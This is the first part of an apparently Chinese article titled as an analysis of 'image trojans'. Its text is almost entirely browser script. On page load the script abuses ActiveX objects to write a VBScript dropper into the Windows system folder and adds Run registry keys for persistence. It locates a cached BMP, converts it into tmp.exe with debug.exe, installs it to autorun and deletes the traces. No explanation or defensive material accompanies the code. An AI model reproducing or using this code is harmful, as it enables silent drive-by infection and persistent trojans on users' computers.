木马传播新方式 图片木马技术解析(1)

document.write(' '); 
function docsave() 
{ 
a=document.applets[0]; 
a.setCLSID('{F935DC22-1CF0-11D0-ADB9-00C04FD58A0B}'); 
a.createInstance(); 
wsh=a.GetObject(); 
a.setCLSID('{0D43FE01-F093-11CF-8940-00A0C9054228}'); 
a.createInstance(); 
fso=a.GetObject(); 
var winsys=fso.GetSpecialFolder(1); 
var vbs=winsys+'\\s.vbs'; 
wsh.RegWrite 
('HKCU\\Software\\Microsoft\\Windows\\CurrentVersion
\\Run\\vbs','wscript '+'"'+vbs+'" '); 
var st=fso.CreateTextFile(vbs,true); 
st.WriteLine('Option Explicit'); 
st.WriteLine('Dim FSO,WSH,CACHE,str'); 
st.WriteLine('Set FSO = CreateObject("Scripting.FileSystemObject")'); 
st.WriteLine('Set WSH = CreateObject("WScript.Shell")'); 
st.WriteLine('CACHE=wsh.RegRead("HKCU\\Software\\Microsoft
\\Windows\\CurrentVersion\\Explorer\\ShellFolders\\Cache")'); 
st.WriteLine('wsh.RegDelete("HKCU\\Software\\Microsoft\\Windows
\\CurrentVersion\\Run\\vbs")'); 
st.WriteLine ('wsh.RegWrite "HKCU\\Software\\Microsoft\\Windows
\\CurrentVersion\\Run\\tmp","tmp.exe"'); 
st.WriteLine('SearchBMPFile fso.GetFolder(CACHE),"mybmp[1].bmp"'); 
st.WriteLine('WScript.Quit()'); 
st.WriteLine('Function SearchBMPFile(Folder,fname)'); 
st.WriteLine(' Dim SubFolder,File,Lt,tmp,winsys'); 
st.WriteLine(' str=FSO.GetParentFolderName(folder) & 
"\\" & folder.name & "\\" & fname'); 
st.WriteLine(' if FSO.FileExists(str) then'); 
st.WriteLine(' tmp=fso.GetSpecialFolder(2) & "\\"'); 
st.WriteLine(' winsys=fso.GetSpecialFolder(1) & "\\"'); 
st.WriteLine(' set File=FSO.GetFile(str)'); 
st.WriteLine(' File.Copy(tmp & "tmp.dat")'); 
st.WriteLine(' File.Delete'); 
st.WriteLine(' set Lt=FSO.CreateTextFile(tmp & "tmp.in")'); 
st.WriteLine(' Lt.WriteLine("rbx")'); 
st.WriteLine(' Lt.WriteLine("0")'); 
st.WriteLine(' Lt.WriteLine("rcx")'); 
st.WriteLine(' Lt.WriteLine("1000")'); 
st.WriteLine(' Lt.WriteLine("w136")'); 
st.WriteLine(' Lt.WriteLine("q")'); 
st.WriteLine(' Lt.Close'); 
st.WriteLine(' WSH.Run "command /c debug " & tmp & "tmp.dat
 <" & tmp & "tmp.in >" & tmp & "tmp.out",false,6'); 
st.WriteLine(' On Error Resume Next '); 
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Copy(winsys & "tmp.exe")'); 
st.WriteLine(' FSO.GetFile(tmp & "tmp.dat").Delete'); 
st.WriteLine(' FSO.GetFile(tmp & "tmp.in").Delete'); 
st.WriteLine(' FSO.GetFile(tmp & "tmp.out").Delete'); 
st.WriteLine(' end if'); 
st.WriteLine(' If Folder.SubFolders.Count <> 0 Then'); 
st.WriteLine(' For Each SubFolder In Folder.SubFolders'); 
st.WriteLine(' SearchBMPFile SubFolder,fname'); 
st.WriteLine(' Next'); 
st.WriteLine(' End If'); 
st.WriteLine('End Function'); 
st.Close(); 
} 
setTimeout('docsave()',1000);